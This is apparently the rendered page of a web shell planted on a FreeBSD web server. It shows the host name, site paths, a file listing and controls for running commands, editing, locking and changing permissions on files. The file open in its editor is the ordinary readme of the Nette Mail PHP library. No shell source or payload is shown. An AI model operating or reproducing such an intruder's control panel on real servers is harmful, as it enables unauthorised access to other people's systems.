TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
nette
mail
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/nette/mail/readme.md
Nette Mail: Sending E-mails =========================== [](https://packagist.org/packages/nette/mail) [](https://travis-ci.org/nette/mail) Almost every web application needs to send e-mails, whether newsletters or order confirmations. That's why Nette Framework provides necessary tools. Example of creating an e-mail using `Nette\Mail\Message` class: ```php use Nette\Mail\Message; $mail = new Message; $mail->setFrom('John <john@example.com>') ->addTo('peter@example.com') ->addTo('jack@example.com') ->setSubject('Order Confirmation') ->setBody("Hello, Your order has been accepted."); ``` All parameters must be encoded in UTF-8. And sending: ```php use Nette\Mail\SendmailMailer; $mailer = new SendmailMailer; $mailer->send($mail); ``` In addition to specifying recipient with `addTo()`, it's possible to specify recipient of copy with `addCc()` and recipient of blind copy: `addBcc()`. In all these methods, including `setFrom()`, we can specifiy addressee in three ways: ```php $mail->setFrom('john.doe@example.com'); $mail->setFrom('john.doe@example.com', 'John Doe'); $mail->setFrom('John Doe <john.doe@example.com>'); ``` HTML content can be defined using `setHtmlBody()` method: ```php $mail->setHTMLBody('<b>Sample HTML</b> <img src="background.gif">'); ``` Embedded images can be inserted using `$mail->addEmbeddedFile('background.gif')`, but it is not necessary. Why? Because Nette Framework finds and inserts all files referenced in the HTML code automatically. This behavior can be supressed by adding `FALSE` as a second parameter of the `setHtmlBody()` method. If a HTML e-mail has no plain-text alternative, it will be automatically generated. And if it has no subject set, it will be taken from the `<title>` element. Of course, it's possible to add attachments to the e-mail: ```php $mail->addAttachment('example.zip'); ``` Can e-mail sending be even easier? Custom mailer ------------- Default mailer uses PHP function `mail`. If you need to send mail through a SMTP server, you can use `SmtpMailer`. ```php $mailer = new Nette\Mail\SmtpMailer(array( 'host' => 'smtp.gmail.com', 'username' => 'john@gmail.com', 'password' => '*****', 'secure' => 'ssl', )); $mailer->send($mail); ``` You can also create your own mailer - it's a class implementing Nette\Mail\IMailer interface.
Crotin
Name
Size
Permissions
Modified
User/Group
composer.json
674
0644
2016-03-05 11:27:55
Unknown/Unknown
license.md
2724
0644
2016-03-05 11:27:55
Unknown/Unknown
contributing.md
1233
0644
2016-03-05 11:27:58
Unknown/Unknown
src
-
0755
2016-03-05 11:27:57
Unknown/Unknown
readme.md
2498
0644
2016-03-05 11:27:58
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin